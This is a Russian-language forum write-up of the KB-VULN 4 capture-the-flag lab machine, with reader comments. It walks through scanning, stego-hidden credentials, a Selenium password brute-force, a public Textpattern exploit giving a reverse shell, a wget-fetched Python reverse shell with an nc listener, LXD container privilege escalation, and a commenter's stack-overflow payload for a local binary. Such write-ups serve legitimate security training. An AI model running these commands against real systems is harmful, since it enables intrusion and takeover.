![]() |
Приветствую!
Если взялся - надо доводить до конца, поэтому представляю вашему вниманию прохождение четвертой - финальной машины из серии KB-VULN. Прохождение предыдущих коробок можно посмотреть тут 1, 2 и 3. Найти и скачать представленную в разборе коробку можно тут KB-VULN: 4 FINAL. Исходные данные: Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt. Основная машина (с которой проводится атака) под управлением ОС Kali Linux Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root. По стандарту - сначала найдем атакуемую машину в сети используя команду: Код:
~$ sudo netdiscoverДалее просканируем машину nmap'ом: Код:
~$ nmap -A -p- -v 192.168.3.146В этот раз видим всего 2 сервиса: 22 порт - ssh и 80 порт - http. От сюда же видим, странный титл = Hacked , так же директорию .git. Перейдя на обнаруженный сайт (http://192.168.3.146) становится ясно - кто-то уже взломал и задефейсил сайт: https://forum.antichat.xyz/attachmen...8879024389.png Попробуем для начала по простому перебрать директории сайта и посмотреть, что получится: Код:
~$ dirb http://192.168.3.146Сразу же видим несколько директорий: /.git, /rpc, /files, /sites и /textpattern Все они представляют интерес, но меня заинтересовали 2 директории: /textpattern и /.git Открыв /textpattern становится понятно, что это страница входа cms: https://forum.antichat.xyz/attachmen...8881883910.png Теперь нужно где-то найти логин и пароль для получения админской учетки данной cms. Оставим пока textpattern и пойдем смотреть .git, в нем может быть что-то полезное. В гите сразу представляет интерес конфиг-файл (http://192.168.3.146/.git/config), из которого можно взять ссылку на репозиторий данной cms (GitHub - textpattern/textpattern: A flexible, elegant, fast and easy-to-use content management system written in PHP.): https://forum.antichat.xyz/attachmen...8883116337.png И тут я завис на очень долгое время, просмотр содержимого сайта полезной информации не дал... Не так давно я видел прохождение какой-то машины, где логин/пароль от cms сайта были найдены, при просмотре коммитов, в логе гит-репозитория самой cms. Наивно решив, что тут похожий кейс, я перебрал все коммиты (а их ой, как не мало), но ничего не нашел. В конце-концов, пробуя разные методы атак на сайт, я наконец-то обратил внимание на того, кто указан, как хакер, задефейсевший сайт - machineboy141 и полез искать его в гугле. В результате был найден профиль на гите, в котором представлял интерес только репозиторий - KB-DUNMP. Склонировав его, все что я увидел - фотографии... Ага, понял, но так просто я не сдамся... Со стенографий +- знакомы, CTF разные решали, поехали ковырять фото: Код:
steghide extract -sf *Ага, 3 файла были со скрытым содержимым внутри, хорошо, просмотрим содержимое этих файлов: Код:
kali@kali:~/Lab/KB-DUMP$ cat steganopayload202720.txtКод:
kali@kali:~/Lab/KB-DUMP$ cat steganopayload1125546.txtКод:
kali@kali:~/Lab/KB-DUMP$ cat steganopayload1125574.txthttps://forum.antichat.xyz/attachmen...8884593521.png Ну, все ясно, это ROT13 - подумал я. Но нет - сказал rot13... Короче, довольно быстро, методом тыка стало ясно, что это кодировка ROT47: Цитата:
Наконец-то получены логин и пароль, даже сомнений нет, что они от админки сайта, бежим логиниться и ... Ничего... Логин/пароль не верные, а что же мы тогда нашли? Неее, я не верю, что это что-то не то, наверно, тут еще какая-то загадка. Вглядываясь в пароль, я вдруг осознал, что последние 4 цифры - год (на самом деле, это и так сразу понятно). И тут мне в голову пришла глупая мысль, о том, что год должен быть какой-то памятной датой для автора, вот только что это за дата - не ясно. Ну ладно, это всего лишь 4 цифры, можно и забрутфорсить. Сначала я хотел по простому использовать модуль "requests", но что-то пошло не так и, к стыду моему, я так и не смог разобраться, как же правильно послать пакет для авторизации в данном случае (если найдутся энтузиасты питонисты - прошу скинуть в комментариях код, как у вас получилось это реализовать), так что я набросал свой говноскрипт, используя селениум (по сути тот же парсер только дольше... намного дольше...). Собственно сам код: Python: Код:
fromМинут 40 спустя (а если бы разобрался с авторизацией, через request, почти не ждал бы) пришлось отложить свой чай (ну допустим), т.к. пароль наконец подобрался: https://forum.antichat.xyz/attachmen...8889273617.png И тут я понял, каким же глупцом я был, ведь по итогу оказалось, что пароль = ezbircime2021. Надо было, всего лишь, изменить год, на текущий (с 2020 на 2021). Ну ладно, логин и пароль от админки есть, теперь можно загрузить на сервер свой шелл, а можно взять уже готовый - вот этот например. Использовав приведенный выше эксплоит, получаем реверс-шелл на целевой машине: Код:
~$ python3 50095.py --url http://192.168.3.146/textpattern/index.php --user admin --password ezbircime2021https://forum.antichat.xyz/attachmen...8890131821.png Удобно, но можно сделать еще удобнее, загрузив на атакуемую машину стабильный python revers-shell. Содержимое файла rev.py, который будем загружать на сервер: Python: Код:
importКод:
~$ pyton -m SimpleHTTPServer 80Код:
wget http://192.168.3.131/rev.pyЗапустим прослушиватель на основной машине: Код:
~$ nc -lnvp 1337Код:
chmod +x rev.pyКод:
python rev.pyhttps://forum.antichat.xyz/attachmen...8890862273.png Фуух, с этим разобрались, теперь нужно найти данные для получения учетной записи пользователя, а потом и рута. Не буду приводить здесь весь процесс поиска данных на сервере, просто в кратце подведу итоги. В файле /etc/passwd блыл найден логин пользователя - machineboy, а в файле /var/www/html/textpattern/textpattern/config.php был найден пароль -ghostroot510. https://forum.antichat.xyz/attachmen...8891773338.png https://forum.antichat.xyz/attachmen...8891661486.png Вот, к слову, очень хорошая статья с хабра, в которой очень не плохо расписаны действия после получения доступа к серверу. Что ж , подключаемся по ssh, как пользователь "machineboy": Код:
~$ ssh machineboy@192.168.3.146https://forum.antichat.xyz/attachmen...8892890206.png Есть контакт, пользовательский флаг наш! Сам флаг user.txt: 1b5cec2e69c4d72571ac4fd9e618bd2a Сходу сразу же видно файлы "install", его исходник "install.c" и "peda" - это расширение для отладчика GDB, которое добавляет кучу дополнительных функций. Нас в первую очередь интересует явно самописный файл install.c следующего содержания: C: Код:
#include Глядя на исходник (особенно на переменную - Код:
char buff[30];Код:
~$ idhttps://forum.antichat.xyz/attachmen...8894626971.png Благодаря хабру, а именно вот этой статье (какое совпадение, что я её читал как раз пару недель назад) и соответствующему описанию на exploit-db (очень подробному, к слову) , мне известно, что LXD — это системный менеджер контейнеров. Он предлагает пользовательский интерфейс, похожий на виртуальные машины, но использующий вместо этого контейнеры Linux. Цитата:
На основную машину стягиваем с гита репозиторий , переходим в него, собираем свежий alpine и запускаем локальный веб-сервер, чтобы стянуть полученный образ на удаленный хост.: Код:
~$ sudo bash build-alpineКод:
~$ sudo python -m SimpleHTTPServer 80Теперь внимательно выполняем нужные шаги (сначала я приведу команды и действия, а после скриншот, где показано все целиком): - Стягиваем образ с основной машины на целевую: Код:
machineboy@kb-server:~$ wget http://192.168.3.144/alpine-v3.13-x86_64-20210218_0139.tar.gzКод:
machineboy@kb-server:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias ralfКод:
machineboy@kb-server:~$ lxc image list- Инициализируем (на все вопросы просто жмем ENTER): Код:
machineboy@kb-server:~$ lxd initКод:
machineboy@kb-server:~$ lxc init ralf ignite -c security.privileged=trueКод:
machineboy@kb-server:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=trueКод:
machineboy@kb-server:~$ lxc start igniteКод:
machineboy@kb-server:~$ lxc exec ignite /bin/shКод:
~ # whoamihttps://forum.antichat.xyz/attachmen...8897575781.png Помним про то, что диск был смонтирован как /mnt/root. так что идем искать флаг там (т.е. теперь там у нас отображается система) Код:
~ # cd /mnt/rootИ забираем честно заслуженный рут-флаг: Код:
/mnt/root # cd rootКод:
/mnt/root/root # cat root.txtСобственно сам рут-флаг: cdf323526dbbd53d572d485fdd37d518 Вот и все, финальная машина из серии KB-VULN успешно захвачена! Серия KB-VULN подошла к концу, но дальше будет еще много прохождений различных машин. Выражаю огромную благодарность всем, кто оставил оценки и комментарии, к прошлому врайтапу, это дает очень сильную мотивацию продолжать подобную деятельность и писать статьи. И конечно же спасибо всем, кто дочитал этот врайтап до конца. |
Виндовые тачки не пробывал проходить?
|
Цитата:
|
Цитата:
|
Цитата:
|
Отличная статья, читал с удовольствием.
Если правильно понял проблему с перебором пароля можно использовать ffuf почитать про него можно тут |
Спасибо, INPC, за интересный цикл статей!
А на машине выключен ASLR? ( Код:
cat /proc/sys/kernel/randomize_va_spaceКод:
0Или загрузите, пожалуйста, программу Код:
install |
C:
Код:
#include Код:
espКод:
buffСоздаём тестовое значение в переменной окружении для того, чтобы узнать начало места, где можно перетереть адрес возврата. Код:
export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF")'`Код:
gdb installКод:
rhttps://forum.antichat.xyz/attachmen...8984510900.png Программа пытается обратиться по адресу Код:
0x45454545Код:
EEEEКод:
spawn_shellКод:
info address spawn_shellКод:
export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`Код:
cat /proc/sys/kernel/randomize_va_spaceКод:
spawn_shellКод:
spawn_shellКод:
export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`Код:
for i in {1..150}; do ./install; donehttps://forum.antichat.xyz/attachmen...8984014700.png https://forum.antichat.xyz/attachmen...8983578700.png |
Цитата:
|
Спасибо за труды! Продолжай в том же духе!
|
| Время: 16:02 |